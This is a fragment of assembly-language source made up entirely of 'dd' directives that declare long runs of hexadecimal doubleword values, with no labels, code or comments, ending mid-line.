4C68FC27h dd 0A3782A91h, 0D1015700h, 0EEEAA45Ch, 0BC20CDB6h, 5D09037Ch dd 0D67868A8h, 4731BFD1h, 0D97EFE41h, 0D1A3D58h, 9DEF9618h dd 76D83FADh, 3908C04Ah, 9D327B36h, 0FF34CFE2h, 7CD8D831h dd 4BC6C14Eh, 616F62E7h, 43212710h, 9D29D0BCh, 238BF9B5h dd 547B7FF4h, 0BC810882h, 494328FDh, 0CB6E44F5h, 0B45C737h dd 0EE7B770Ah, 0BA0B894Dh, 23CFB199h, 874BA82Ch, 0E964E952h dd 4369799Fh, 8ED94AF8h, 0B9B0900Bh, 700240Bh, 9848666Ch dd 0F43305CAh, 0F6C497AAh, 1AD66A93h, 0BDFBCED8h, 0DA54D623h dd 5B46B659h, 784B4BEEh, 7B72A101h, 0B18AC70Fh, 89A3B87Eh dd 0ECD7C3B0h, 56783C22h, 31EF1061h, 8272FD19h, 636F10DFh dd 0BF2C44F5h, 15E37B61h, 3474422Ch, 0DD06A995h, 6E9DEA4Fh dd 95E1758Bh, 26968F08h, 267E29DBh, 89B5676Dh, 0F6EC1113h dd 2716F136h, 67EE5ADAh, 5E21D02Ch, 0F06C488Bh, 111BFE77h dd 85BA71CFh, 4FEDFABDh, 67869DF4h, 60FEBE34h, 4523E433h dd 0C398DAF3h, 9D65A98h, 0AF3C45E3h, 95A9BF5Fh, 0CD783E54h dd 0CB4E12F2h, 0B8ABE36Dh, 0F6B0E50Eh, 1E5CD6B0h, 4BEE5A38h dd 0D1DD3D0Dh, 0C363FBA9h, 6961DD1Dh, 7C5D8EAAh, 54D7B95h dd 555916A7h, 0EB5601A2h, 7C5D9E28h, 680EC70Dh, 7841D38Ah dd 78744516h, 6EE6D69Ah, 1BF8AC44h, 276547F4h, 1D3316DCh dd 0C4774F35h, 0EFE9428Dh, 1B4368FEh, 7E51E740h, 0CCC22EFBh dd 0C9C2F844h, 0F5B654E5h dd 8BBF1B1Eh, 0E99F2BB2h, 0A383675Ah, 3417C603h, 0FB7CC7ABh dd 3FAA8FF2h, 9DEF56B3h, 0B85E9B54h, 63F4C5A7h, 6FE37DFh dd 0C3B8B453h, 0D42869F7h, 919D7BA1h, 0A1C5352Fh, 6CD8F09Dh dd 0A6EDF0F3h, 0F98E7AD8h, 0ECD13576h, 673DCF97h, 0BB8E6C28h dd 5F5007D3h, 96E9C2FFh, 0B29A0DF8h, 1FDD648h, 12BB0B19h dd 0F9C9915Eh, 0F1029C8Eh, 7E3BCF31h, 42864739h, 0E6F87E06h dd 2AE13C1Dh, 0B8C279AFh, 0F21319A5h, 3E5F491Fh, 0FC2938C9h dd 86CA7D65h, 0F1F4136Ch, 7B1FC19Fh, 0DEB83F1Dh, 0BE857B1Fh dd 5C05CCF0h, 0D54F6E91h, 676A915Dh, 679D3B83h, 28752DF9h dd 70A189B0h, 0AC704FF3h, 787AA278h, 0DF0339D8h, 5690CA12h dd 46C40EA8h, 0E38178E4h, 0E65EFBBEh, 0F4BBA190h, 75E23B1Ch dd 627DF07Ch, 1CCB371Dh, 4B3B74Eh, 8DF062h, 0A21E8975h dd 62D93D87h, 0ADF2F7CEh, 0A5AF8C3Fh, 0CF4B279h, 33F38B6Fh dd 0E2F70968h, 0F1F04915h, 80A14319h, 428F0D37h, 87B1E28Ch dd 0C7DAD1A2h, 0B1CA2167h, 8B152823h, 0F1429E0Ch, 760A312Dh dd 63D16CC4h, 0BBC9DF8Eh, 0AF732288h, 0B6DCD5FCh, 0E0136060h dd 7FDCC07Eh, 595BA319h, 98358977h, 9DB1A1C4h, 0FBFB42D1h dd 0F93E1AAFh, 0C9CCE52Eh, 6A442AE0h, 7FDFD86Fh, 0DA48D71Dh dd 864E67DBh, 1DEFD54Ch, 0E67FBFB7h, 81AA4424h, 95623A67h dd 0F04AE16Ch, 56E89E2Bh, 495516C9h, 0BA8EF28Fh, 34CE13D0h dd 9B42C1E2h, 2689FA51h, 0A5FD06FEh, 0F6B55085h, 0F7812DDEh dd 527CFF17h, 6CED3430h, 0FCBDBD6Fh, 4345BD02h, 0A78DD777h dd 23F94E66h, 0BFBC5F17h, 0EAAC93FAh, 0EFEC933Dh, 7D9E2E7Bh dd 5BD254E6h, 0D5CD005Ah, 37FCA39Ah, 0F395CAh, 47346B7Dh dd 1458D69Dh, 0EEF8BFD8h, 0E8A060C2h, 7BA36F6Ch, 0A3C2E729h dd 628D8FFBh, 7F14685Ch, 84A2A1A3h, 0E8A3946h, 0FA31D95Fh dd 0E86E3D08h, 53AE4F0Fh, 0E37D1328h, 0F0A07B25h, 0A6AFFB2Ch dd 538CD85Fh, 0FDC4DAFDh, 0DE18AFC2h, 1BDA5FA5h, 0CE7B8972h dd 4D4216BAh, 260D50C1h, 2688A9B8h, 6B1A3EF8h, 9AC7C5Eh dd 6579BE75h, 4A6EB1D7h, 755DEB18h, 0FA2AFB0h, 67F568F7h dd 0DEF7ABC7h, 9F96E181h, 0FF49939h, 1DAFEB8Dh, 1436493Eh dd 0C6C5E50Dh, 547ABABBh, 0FDBFDD2Fh, 0FF770BCAh, 0B241BAEEh dd 842D36F3h, 971A0929h, 0F58074F1h, 9924F3F2h, 8CCC21A2h dd 1BA95595h, 1FD69F1Eh, 8FA3DEAEh, 0FABB3374h, 686FB566h dd 9C4071E8h, 8038F433h, 787E29CDh, 180BAD86h, 57AEB454h dd 90458451h, 41FCE640h, 266B5467h, 4EEE0714h, 9D479EACh dd 0C9FE0E6Ah, 0C71ED129h, 0F103CCD5h, 0A493DC78h, 88A7F3EFh dd 0D6060E78h, 0A525E076h, 0B8E0171Eh, 0CD338835h, 0F7B1E976h dd 0C46AEC71h, 0B371E8A6h, 0E138E711h, 3198BA89h, 0CA013C19h dd 0EC721E1h, 133E8A7h, 5388B89Bh, 90291828h, 0ABE99429h dd 83413E02h, 6FA8E68Eh, 0E8D7D447h, 0F30C029Eh, 8C10D378h dd 8C86FC09h, 0A28F3D7Eh, 0FED6345Dh, 4A46F8F1h, 0FEA6A8A2h dd 0C7BAB35Dh, 8B4E0D72h, 0A6184D1Eh, 23751090h, 55BA5AF2h dd 6DAB259Bh, 1E35D01Ah, 478C0D2Dh, 64D3BB35h, 6715569Dh dd 0D26B6589h, 0EEE6CA3h, 9B317427h, 311B08F7h, 813ECB95h dd 1EFB0377h, 731F4A27h, 0CA9B6972h, 365E869Ah, 0ED7B9C51h dd 6AE92665h, 7B7AC7B7h, 0E3E2B40Bh, 14B086D7h, 7DBE4F1Ah dd 4C21B5CFh, 27C5B5F7h, 1A13BEA2h, 2DEF6B7Fh, 4CCD14FBh dd 2B62D3DFh, 9B651AD1h, 914BE125h, 6B46D781h, 9751157Ah dd 7A9D37BDh, 691594E5h, 0DD182A4Dh, 1BDDDA8Ah, 0FA4D73B9h dd 6BDCB370h, 0C9D57C9Ch, 0EDCD3877h, 0CAE12CAh, 5D8F6DEEh dd 6E8BE8EFh, 0C602F077h, 0DAA78E4Fh, 18E4F13h, 7D3CF637h dd 3C4F681Eh, 80F9C27Dh, 3C7A3A1Ah, 0A3888626h, 65FD78F9h dd 97794062h, 34C9F6D3h, 0D3D6EF0Ah, 0F9CBDF28h, 438E9A2Ch dd 0A35C9E4Eh, 64D94B9Eh, 83BAB9EBh, 0AC1AE67Ah, 958EBD47h dd 7D8E6974h, 12FB94BCh, 0BB9F7296h, 5E96CE46h, 55A5CD3Ch dd 917B6B34h, 3E58EDF1h, 43E0BE97h, 74B962h, 78B0DBD2h dd 7B8B8070h, 0F026614Fh, 3E9E79F5h, 52F74E4Fh, 9971EEA7h dd 0EF68CEADh, 1117C98Ah, 0C77B80BEh, 4AEE8921h, 1FB00E99h dd 70CD7E55h, 568202D9h, 0E7BC43D4h, 8560C9BEh, 6B2DEC2h dd 2ED96CACh, 8A95EFDCh, 6554961Ah, 31FBDB43h, 190F3426h dd 0BEA283BDh, 899EF126h, 6B59D79Dh, 0F42D202Ah, 9D3BD53Ah dd 0BA7F4469h, 0A1C735A1h, 74B90A22h, 3701C4EFh, 0DBC059F0h dd 9726201h, 70F77BCEh, 0EE5C23E2h, 244C9C7Bh, 73C7941Ah dd 0D54D4E8Bh, 15B21606h, 7EA62666h, 40E2BDF1h, 0A42F4F82h dd 0E55CACB2h, 4BCF89DFh, 5B82AAAAh, 3A91C467h, 0AFC21037h dd 8AEECB68h, 0A40911D4h, 0F19F2AFEh, 0D99CCF67h, 0D02FBC73h dd 0F70306Dh, 0A1A5F55h, 8212C1A1h, 3A2F7473h, 0DAF48A74h dd 0BD2B0970h, 4E37B885h, 0D024E671h, 0A6803468h, 0E7E21E5Bh dd 0FDE13278h, 0FBD3D293h, 0FDC050E4h, 2A746C7Dh, 0E52AF55h dd 0E5D237D2h, 456D04C2h, 0DF0F7146h, 2864D911h, 0E20F343Ah dd 0BF9D951Eh, 0E8F89331h, 3C55F5E2h, 0BAD7DEC4h, 82E9CFD9h dd 0DE9FC615h, 0C4B9F663h, 2DF89BFAh, 27AB8FE2h, 0B8347DFEh dd 5DD282B1h, 889A97B5h, 4FAD2AA6h, 9B310C41h, 0C7A0DBE3h dd 0B44D0307h, 0DBC0E30Eh, 2CA6AE8Eh, 52EE6086h, 0B290D3FAh dd 11097E84h, 0C76EE61Ah, 0A27EEE97h, 3A0E2BA4h, 0C740C7B3h dd 717EF7B7h, 2EF06C9Dh, 8FD9764Eh, 222B0696h, 0F619C2DAh dd 85F64585h, 23F599E3h, 96E04C9Eh, 0BBD5A9D6h, 0D521A47h dd 0EB9766D9h, 9A2BB374h, 83388C7Bh, 0B4297511h, 614ED5B6h dd 7B0564Eh, 0EC1DE353h, 232A0648h, 0A31B2F49h, 4A61F710h dd 0B305EF96h, 1E98EB80h, 6CD76723h, 67B20C22h, 9263C9A1h dd 0B6C7F836h, 4C643149h, 0E68F621Ch, 81ACD957h, 0DA1DBCC3h dd 36ACCCB5h, 2960B9D6h, 5B6AEC84h, 303D9299h, 699EB1C8h dd 5B86CAB0h, 0FC3B5F1Bh, 4C7EFA25h, 825E9A2Ch, 5E5EE233h dd 0B36502DEh, 0A8F6A41Dh, 527542E3h, 0E3D44E35h, 9B4087E3h dd 0EC29CCB5h, 0FD95B2E7h, 2B4AB25Ch, 0E606323Ch, 0B83B5919h dd 0B1B0E830h, 0A2962287h, 572C8F28h, 8AA33AB3h, 0CA5E39BCh dd 18CB61FBh, 424DAAF9h, 246C9962h, 71FACFBEh, 8EA6B12Ah dd 0EF196756h, 0F40632FEh, 78A66532h, 0B19518E8h, 1CC72799h dd 0B1B39C9Fh, 0D4CA5881h, 0D39362C0h, 96393C1h, 72604ECAh dd 0CE097ACCh, 55A726A8h, 9AB31C9Fh, 0A4EA5E9Ch, 7A89C6Ah dd 6F08E9DDh, 0E96984Eh, 3614E26Dh, 423D1397h, 0CBD75C6Dh dd 6202B4D4h, 4C267486h, 5C52E4CDh, 84A07648h, 80EE43F7h dd 920A5CDCh, 0F090FAE2h, 9FE31504h, 0CE95A91Fh, 0CE8280D4h dd 45CF5A82h, 0F0888CC3h, 0D4B77634h, 518F64F1h, 2E9CCB47h dd 43D67482h, 64395EA6h, 6746A334h, 0A8FD6557h, 0C888EA31h dd 7C65C9E4h, 0C86FCA4Dh, 0AE21E20Eh, 155FD537h, 3B674231h dd 25F111DFh, 0E95AED2Bh, 69EE0C7Fh, 0FA3C4F75h, 492F7A3Ah dd 24A19E74h, 16072AF9h, 257FA590h, 5D52C39Ah, 0EB6EA695h dd 0DA1DC583h, 0AA4650E1h, 2B05B0E6h, 181AD62Ch, 65382ED4h dd 0A747C3F5h, 0C1CE76F6h, 8D5E3270h, 0A7160E1Eh, 0AF9A2CF9h dd 2BCAFAC3h, 3C30120h, 0D4583E0Ah, 75CAFAC7h, 4605BA3Fh dd 46E06483h, 7CF7440Eh dd 0D33E4E61h, 50A60633h, 767F5707h, 0C2DEF553h, 0D6A45F3Dh dd 42E1EBA6h, 0FE47008Ah, 155C2A45h, 21303C3Eh, 71C3451Fh dd 0C4B38CA1h, 4B0AB4E2h, 47D607C1h, 67994417h, 9DF96C28h dd 0B5AE32EAh, 9D3973B4h, 2BEB65DCh, 55D7A8FDh, 0C74AEB16h dd 0E14B7F30h, 1EA36E8Fh, 0FB0EA3F5h, 0F46FA6BFh, 0A927CF79h dd 0EFFF07C9h, 0A249DA91h, 0D4CD6A92h, 0D575734Fh, 58D78330h dd 24B2AFE4h, 0ED66C3Dh, 250A78CAh, 429990CBh, 0D403DFE8h dd 82471CBFh, 11B82A5Dh, 7CE97CD5h, 463BD72Ah, 20D4B518h dd 25BEBCADh, 0D2975D5Dh, 145A4E37h, 20E1C349h, 4C827321h dd 919D0BE8h, 5F54C1BDh, 88C56D72h, 1186C818h, 1118EE5Ah dd 6FE923F3h, 76F084B5h, 1FB1AA85h, 0B22C1275h, 0D6C09E0Ah dd 3DA2A772h, 0BC516A97h, 0A07142C0h, 91D2E1D6h, 0B6592783h dd 12FB9119h, 2B6B1C6Eh, 0E25DA158h, 6F544759h, 304C2344h dd 105A2D3h, 0F1A1A513h, 7A82B2B6h, 362C122Dh, 8A86B22Fh dd 0B338A2CDh, 0CFAE3A33h, 0F79D05CDh, 306F849Fh, 1ED961B3h dd 0D2251B70h, 1E806E5h, 4A7ADE5h, 418F1B22h, 7CB825FBh dd 6D2A7C71h, 0A18C08ADh, 0F59DF51h, 19E9C3A4h, 0C088E0D4h dd 487087F2h, 0A4261A13h, 828E8E6Bh, 0A4920786h, 25254071h dd 0C789592h, 642A72A2h, 0D929A100h, 1AF6B816h, 25141DA4h dd 0D8060D7Dh, 0A67B9A3Bh, 4826EE39h, 775DB2ABh, 0F5A93B54h dd 0D63A3A09h, 6136CC6Dh, 3A94878Ah, 93A92EC5h, 0F5D54B8Dh dd 0FF437688h, 0E55D8947h, 0F819B0EDh, 4B7897F0h, 0BE49BDF1h dd 0B1F48BE0h, 0B418FCD6h, 0B5806448h, 0F47F1266h, 0F858D6B3h dd 49AD66C3h, 0B5B30FE6h, 0C62F9AA6h, 1E6B5A07h, 3E418FE0h dd 482EF56Fh, 0FCDE0C33h, 0F6D747AEh, 0E1F84485h, 0EED94EE4h dd 65B2AFA6h, 0D86D60F5h, 8F1F234Fh, 5DED314Eh, 365A183h dd 1E86096Ch, 0AE4E6953h, 0D5886643h, 0F989FD54h, 0F62347F4h dd 0E383DB2Fh, 5BE5A4B4h, 6DC8CF7Eh, 1ED0CC95h, 8A4BDB34h dd 699FDFECh, 0AD6DA1C0h, 0D3AA8D79h, 7F13F43Bh, 0F76BD524h dd 0A6FAFA47h, 6F9A036Ah, 0BE8133C3h, 0DE57A1AFh, 5A006D54h dd 73D94820h, 0D8D40FBCh, 7F31C66Bh, 0A5BD3255h, 0B7BAB712h dd 0E5BFB78Ch, 0B35CC4FFh, 1AFF57DFh, 977E1F3Ah, 0FBE77A8Ah dd 6CEF5623h, 3BC5247Fh, 0EFE91FD1h, 7DF543CDh, 358B11FDh dd 0DC958530h, 46A655BBh, 0FDBC6931h, 0D6336C8Dh, 0E103924Eh dd 0A2725EDCh, 1743E177h, 4ECA8048h, 0A800C135h, 0EA1816BEh dd 59089EACh, 381AC19Ah, 98153890h, 99F31287h, 43B40C37h dd 0C92F35ACh, 0AA1D8697h, 615C2DC2h, 0DE16C129h, 0C66F2C6Ah dd 0A951C5ADh, 585C86FDh, 78924F16h, 5BE69E26h, 8A378B14h dd 2B1C6C15h, 3D515C2Dh, 833BE211h, 0AB5BB4AFh, 0BCEBEBA7h dd 9C05523Fh, 95F0DFDCh, 7B2BDE7Ah, 2C517BC9h, 2D8E41AFh dd 472D0537h, 0BAAE0173h, 66FC8196h, 0F8D1832Dh, 3263CC36h dd 0D2733A49h, 231EA605h, 19129E9Dh, 63B523DCh, 0D22A0E59h dd 0CE5DCDFFh, 0F7AFA163h, 6D5A7E56h, 31E0EC26h, 68C797AAh dd 90B43D58h, 0A4AFDE6Eh, 0D4E5DB23h, 17EA9DEDh, 0C8E803ABh dd 9D38AD1h, 0BFAD196Bh, 7A4CABDBh, 0DE2D724Ah, 0FCD1FB0Bh dd 6FA9730Ah, 4435AED1h, 0CEBD9656h, 5F899C0Fh, 0CAB28678h dd 0E2EE883Bh, 35C904EBh, 1456C935h, 0E1680BD5h, 8A3E22FAh dd 172AFD52h, 8D6B5652h, 903728C3h, 5F82FDC8h, 150B5D00h dd 8897CCE3h, 76B9F5F6h, 29A7E4ADh, 7529DBB8h, 39F8FF11h dd 446575CBh, 0ABDE9F90h, 16F81EEBh, 6C7CAFD6h, 87D079C4h dd 33653EA9h, 5207E808h, 51F1336Bh, 8D3A829Fh, 689B9979h dd 0C7E177D6h, 0DDAF801Ah, 0D6B54E3Ch, 0F6BEEC0h, 781AD53Ah dd 0B5AE4216h, 4ACA1825h, 25B54FB0h, 5711F31h, 1037BD7Bh dd 0CD197E61h, 2075134Ah, 25D5DC7h, 9FBDF9D1h, 56D59743h dd 91DEE5Eh, 0D2E9885Bh, 0E910F329h, 36E27BFBh, 12EA626Ch dd 0E2FB203Ah, 5F530A9Dh, 0A9636655h, 0DAE79B2Fh, 2624A4BDh dd 0E9152F98h, 9CED439Fh, 62DFDD56h, 8730CDAAh, 679E64D3h dd 312A2746h, 94E1F568h, 989458EDh, 0F13C86CFh, 13B0CDF7h dd 0E70685B2h, 0B05293DFh, 89C2BAC7h, 88F5D55h, 55A5FB22h dd 5D312200h, 0EC4CDACEh, 404CDABCh, 9DE3BD76h, 471DEADBh dd 48E2D726h, 0DEBD3FDCh, 5B0516F1h, 0BE3BD516h, 989EAFBBh dd 0A7C77AD9h, 10EF53FFh, 3E3BD477h, 0F8EF549Ah, 0D1DEAB87h dd 0F1DEB536h, 0A3BD7159h, 0E3BD5A79h, 0BDBF8528h, 0F071DEA7h dd 0BBC77AD6h, 5F1DEAF3h, 9C77AE4Ch, 456D79FEh, 61F1DEB8h dd 30E3BD59h, 6AA09D45h, 0BD59F93Eh, 0F1552CE3h, 867ACA6Fh dd 0AE281CB2h, 0EF5638ADh, 8E5AA768h, 536F8B53h, 0C354FBD4h dd 29EAD497h, 0CFF9FACAh, 0D3DF1DEBh, 0EA5307F7h, 37A8871Dh dd 77AAEF27h, 1370A39Ch, 2DDEF955h, 3DC88EF5h, 12AA2CD2h dd 6EABF3C6h, 1919E63Dh, 662A8D3h, 359518AAh, 35EC878Fh dd 0F804F1E7h, 0BFF72E2Ch, 0AEC2313Eh, 0B9E1242Bh, 7340A019h dd 1F8BFA71h, 0FC91093Ch, 0ECDD40DCh, 0AAE855EEh, 0E2E54466h dd 81826E9Ah, 0D83E4E0Eh, 48467D87h, 1368E828h, 6E833F03h dd 39795B4Ah, 769A74B6h, 0C110E830h, 0C115300Ah, 96E213AAh dd 95018C08h, 16340271h, 120EFABEh, 2B740892h, 0F6269B70h dd 0E61F049Fh, 53C210B0h, 0A2C28244h, 0F833162Eh, 829453BFh dd 2D92B035h, 0D613B718h, 0CEA82B9h, 0DAC2C63Dh, 0D1D04B0Ah dd 59FDDF4Ah, 22BF3167h, 280678B2h, 0AA82BC84h, 0AD64D2C8h dd 0CB86522Ah, 0B109F5Fh, 2979C53Eh, 39956F68h, 3622463Dh dd 0FA336B5Ah, 225CB5E0h, 6AAC61BDh, 245541FBh, 1DF8B0EAh dd 732D366h, 2A21433Bh, 5FE96D2Bh, 48FE83A8h, 7F30D55Ah dd 3475125Dh, 0E61F9EB9h, 96113D32h, 4EBB4A84h, 0A7109FCFh dd 853F413Eh, 9CC27F08h, 0C2F03EBAh, 0D128D133h, 0CCE27131h dd 0E6AE9ADFh, 0FB41BC74h, 74E794A8h, 0D34D972Fh, 89F9D2AAh dd 9FBECDB0h, 6712B3D8h, 582DB8B0h, 41A4682Ch, 89F4D8ABh dd 871DE54h, 0D246DA7Dh, 51D911B4h, 9F0F2E93h, 35EB2644h dd 8728C11Ah, 0C9E7E425h, 0CA63A472h, 0CE52AA89h, 0A0B5A176h dd 595478D3h, 0F16EA07Bh, 27D3C42Dh, 0A7141637h, 83054E2Dh dd 0C9DCBE11h, 0C55B0AAFh, 2609F65h, 0F81929DBh, 4A319A69h dd 5B8AD27Dh, 0B88C5343h, 5B39A7CEh, 0E7D748E6h, 74BCFA8Bh dd 6F571115h, 8C36D973h, 5A29F4FEh, 8E1F60E6h, 0C7C389B0h dd 0FB71CD19h, 6222DA72h, 4795C507h, 9B21406Fh, 1A3A7218h dd 0F4400F0Dh, 4F468A06h, 63B9F5CAh, 26C9902Ah, 3A81229Ch dd 0A66CE4EDh, 0E9BFAA9Eh, 0ED53D46h, 0DA7A8DE9h, 8769EA08h dd 0D441CF7Ch, 4EAFAF93h, 910A476h, 0D3ABB3E5h, 28781ACFh dd 4D19C7A9h, 0E6B5A027h, 728324CEh, 0C10F2ABCh, 0B8A214F0h dd 0F362D4BAh, 32D58C4Dh, 64B502FEh, 0C8A2D424h, 4C82DF84h dd 33A994F8h, 6FA9773h, 9462AAFAh, 5E309C3h, 5DFD8729h dd 38451988h, 4627C4B8h, 40D81B49h, 0D460BC37h, 50D9059Bh dd 0EBF4989Fh, 78832484h, 5A84CA5Eh, 716A2BA6h, 5A8DFFF1h dd 0E9D5D024h, 0C9025B45h, 0DE6BF2D8h, 5FFFB6BAh, 8C5362F4h dd 41EB2A48h, 0FAA1D230h, 629C430Fh, 2BA48174h, 0EB78C500h dd 34C62885h, 0C29B179Eh, 0C942E82Dh, 9BCAF174h, 7DF037D2h dd 2EE39409h, 80363949h dd 0CA0D9C72h, 0E39414B1h, 871CA025h, 0C56805Fh, 500BB0Fh dd 0A48883D8h, 2DF43E65h, 0F0E681A1h, 6889FFE5h, 0B7011F0Ch dd 0EEBA4DECh, 0ACA17FE8h, 0CC4D040h, 3CD85BA2h, 4AA9192h dd 0B48B361Eh, 68F52C33h, 0EEAABA67h, 21574563h, 9381AD68h dd 5C4532B3h, 0D5713125h, 0FD2B88AEh, 43B12B15h, 22FD8044h dd 0D32AB881h, 30BCE115h, 9F419F76h, 0A8711B2Fh, 4A95A77Bh dd 0C062210Dh, 0FD8B0708h, 0F5A8CED6h, 0FE563A95h, 9FAA990Ah dd 6B56733Ah, 0AFE96703h, 8962264Fh, 0A75DFB76h, 0A5B9047Fh dd 75F46223h, 44BA128h, 40B60C86h, 63E9485Dh, 0CF28CD12h dd 83E9EDF9h, 79BEC369h, 92A3440Ch, 133A095Ch, 38350424h dd 257D0CDAh, 339CD07Eh, 0E5689BDCh, 0B922CEECh, 0E3E2C12Ah dd 0EAF8E776h, 0FFA7CD4Fh, 65FDE231h, 0A7FE606Fh, 0FB06D10Bh dd 75D717B3h, 0BE3AD5D6h, 0D699D1F1h, 0EBFA89E6h, 0FAD1A2A0h dd 0BABABF1Dh, 0F9DAA594h, 47F786DCh, 0F75F4344h, 97376C1Ch dd 70271D07h, 0EDDAF9ACh, 0B33AC251h, 383F77B4h, 4DDF14EEh dd 66ACB3A1h, 0D3031E27h, 6E07481Fh, 4747F72Eh, 63D2F96h dd 0EA2D2E64h, 0D3F6C571h, 0EAB43854h, 0EEB4FA1Bh, 6ECD7C0Ah dd 44BE1F9Ah, 456D0C6Bh, 0FA8B8854h, 6D4F2323h, 195A99A0h dd 20D55C40h, 8ED0C8CFh, 0CF2848ADh, 46FE839h, 0FD25A9E9h dd 0D49547E8h, 0E5E9FB11h, 0EEB23F49h, 2E3AA3AAh, 6FB51AD2h dd 0BD03DC43h, 0AAA3DA7Ch, 8E51BF2Ch, 6D7CD597h, 23FEDD28h dd 0DF398139h, 59B72656h, 3E63D5B7h, 0A7468ABFh, 0A3A4C53Bh dd 0CE29948Ch, 25B4347Eh, 0A1B105h, 0E103003Ah, 59EDED46h dd 489F1C1Fh, 8EF2CA23h, 0B3AFA785h, 6B32C193h, 7E79488Eh dd 0B877B95Eh, 97E7C8C7h, 68D1AFE9h, 0EA753065h, 4BDAF2D4h dd 0E87F06A6h, 46C137AFh, 0B9FF64F8h, 0C8774B91h, 0DA732A86h dd 0FA0A6720h, 0BB1AD622h, 0AEA95611h, 0DFBEDF7Bh, 968423BFh dd 0F2D35EA2h, 14759D3Dh, 7A11E742h, 498DF3AFh, 9723B3FEh dd 2B52B3FEh, 753CB516h, 0BA815B04h, 130860CAh, 931A7A1Bh dd 4C30F0F5h, 0ED082A25h, 0C35D09E4h, 436A7873h, 5138E6A5h dd 3C9E4C19h, 1BCAFAD9h, 0D32643B5h, 13915984h, 42E76B95h dd 0B09A7E19h, 0A30A1199h, 0D96F6DD6h, 860E72EBh, 5E93C3BCh dd 0C17FCA85h, 0CB99C5C9h, 0A51B38DEh, 13EBA939h, 24D3B475h dd 736FAE73h, 97BC84CEh, 45FF8524h, 0D50F6A1Dh, 6C5134F0h dd 64FFB065h, 0B9C4F888h, 0E4860C8Fh, 6E39AA7Fh, 934344F6h dd 0D2F5D0E3h, 0C8777948h, 0B04B3289h, 8653C882h, 0FFDE8665h dd 0E2B51288h, 0D7D562E3h, 714EBD6Ch, 0C5FA3331h, 49DA8565h dd 749B2BB0h, 0C505E576h, 0F38F30AEh, 0A04D2E1Ch, 60B8C17Eh dd 4C2047CBh, 0C8469EF2h, 665A81Ah, 0AFBB1364h, 3E928A73h dd 1EFE90B1h, 8281CE9Eh, 6E6D90BDh, 0BE20FAEAh, 0F8827C11h dd 33CCAA1Fh, 3CD8E42Dh, 17F88CAFh, 717A47EBh, 0C7413642h dd 51A2801h, 2B0736ABh, 9A383476h, 38355FC0h, 0E2D6A44Eh dd 95D6B4Fh, 43346F0Ch, 73EBEEA8h, 380B5D5Dh, 0B496915h dd 0D6592918h, 7D2313D2h, 0A84593C8h, 0DA1424A6h, 0E0D81344h dd 94050330h, 0FDC99CD0h, 7FF6A45Fh, 283BE9CFh, 77815A5Ah dd 0CA3A7DF8h, 15389CD2h, 5FD32B56h, 0C9BAB15h, 0CABF0DA8h dd 0A1BF36AAh, 4ECAE86Eh, 5073BA6Bh, 5AC1D6EAh, 1716723h dd 0E82DEA2Bh, 847A8AAh, 0A77FB073h, 0BEB73997h, 0A9B09DFEh dd 3668BA98h, 59FFE357h, 0F3DA50C4h, 17EB626Eh, 0F4026EF2h dd 0C419B670h, 7866E9DAh, 3D72E883h, 4C97D771h, 34E9D319h dd 0E38267D7h, 4E6098C3h, 29290F3Dh, 0A842181h, 563128Bh dd 55BC3A2Bh, 0A735E77Ah, 0F7FFD19h, 0C0D183C4h, 18EFFF3h dd 0BD10E4Eh, 0ECA4FD8Bh, 0FA5D55C7h, 0C91DDBD1h, 9E451689h dd 9606B5CFh, 10F21F3h, 0EEEBF134h, 3A072626h, 57DAFA74h dd 5FD3BE19h, 2BECC16Ch, 24096770h, 0AD5F4575h, 131EF09Eh dd 6495DA4Ch, 6343361Eh, 75BA2AF5h, 0A20CEEA0h, 773412D8h dd 9899AB9h, 4A2E71D4h, 4E65CB73h, 2C934056h, 8CCE32BEh dd 0F8A76D2Bh, 0A41661FDh, 0E484E223h, 0C940E77Fh, 0A3F622Ch dd 0FEC73FF0h, 4B1067E8h, 64AA0B39h, 9A32AE49h, 3691364Dh dd 0FEA77243h, 0CC37C988h, 38A32AE5h, 1D1D4C3Ah, 0E0D5131Eh dd 0CA0CB4E4h, 0EC14ED35h, 0E7CB98DDh, 46C8077Ah, 0D6CDECA0h dd 0C5E63B95h, 0C5820ECh, 686D4A86h, 0F5C4A3C6h, 0E18BC2EEh dd 3620ED32h, 28045272h, 201E1575h, 0C8AB3F61h, 5CA9190Eh dd 9C18C267h, 0F1976F8Ch, 9F9E2AEDh, 428C4E6Bh, 0EC317F0Dh dd 6BC57CB0h, 5A26D664h, 966D99A4h, 72D11E38h, 1D941061h dd 0BB5B828Bh, 0D6495886h, 0D953EC2Dh, 8639860h, 473F150Bh dd 0D2B1BF8Fh, 3168459Fh, 1A6E7749h, 903F223Dh, 5D7CE863h dd 921DE1F2h, 0B39DAD90h, 5384DE9h, 5116B636h, 329AAA09h dd 0E6B2A5F1h, 59BBE75Eh, 0B12F38D5h, 2FB2592Fh, 8F8E17EDh dd 0AE27F557h, 95B4A2CAh, 0B6E3ADFDh, 4B8E9C2Fh, 0D1FB46F2h dd 0FEC0B2D2h, 0C1A9A3A0h, 74DA6871h, 60B810D0h, 1C706EAAh dd 0F1D0E42Bh, 4A03FE0Ch, 8D85229Bh, 84A2AD43h, 25C00DA9h dd 8AC1B6F1h, 0D5D3B608h, 0E61344DAh, 5CC4D7D1h, 0F5B0BB17h dd 9B174566h, 0DAC1A1E2h, 0DEBF8B54h, 0EF8F4742h, 0DC9C54A8h dd 0D6CD321Bh, 0C39A04A6h, 0D4E84ADFh, 3BAF022Fh, 0AE655F9Ah dd 0C7E10BC5h, 0CB48BCA5h, 0E6929F35h, 35ADCAFDh, 2E79148Bh dd 3C33F43h, 0AA5F1FC5h, 0FDF1B22Ch, 5CC9C458h, 0A7E814B6h dd 226FF629h, 79ABC72Eh, 5B036604h, 0DC9E216Ch, 40BA1D12h dd 0EA4A0DBFh, 218BBBDCh, 17DE9DCEh, 0A2C025B4h, 0B968E6BCh dd 0E1F3592Fh, 8EBB0C76h, 0A5659C93h, 974F8D2Ch, 5C1FAEBBh dd 0A4BBA806h, 22BE9098h, 0A6C902DAh, 39123C32h, 7C2D2ECBh dd 0B37FD116h, 0CA55497Eh, 0BDCE168Fh, 0A1842CA8h, 596332CFh dd 0F3EADB22h, 0A5ABBBAAh, 0C620F1D3h, 60420967h, 607F662Eh dd 0DE9DE830h, 0E1C4AF2Dh, 29CCA412h, 0CA1F7B3Eh, 0BA2CAC00h dd 2A810513h, 0DFF52264h, 5640F4E6h, 8C61891Ah, 0D802307Eh dd 0B2A5EFB3h, 58AD1C84h, 9CB47DCEh, 0E8E23A3Eh, 219F65BCh dd 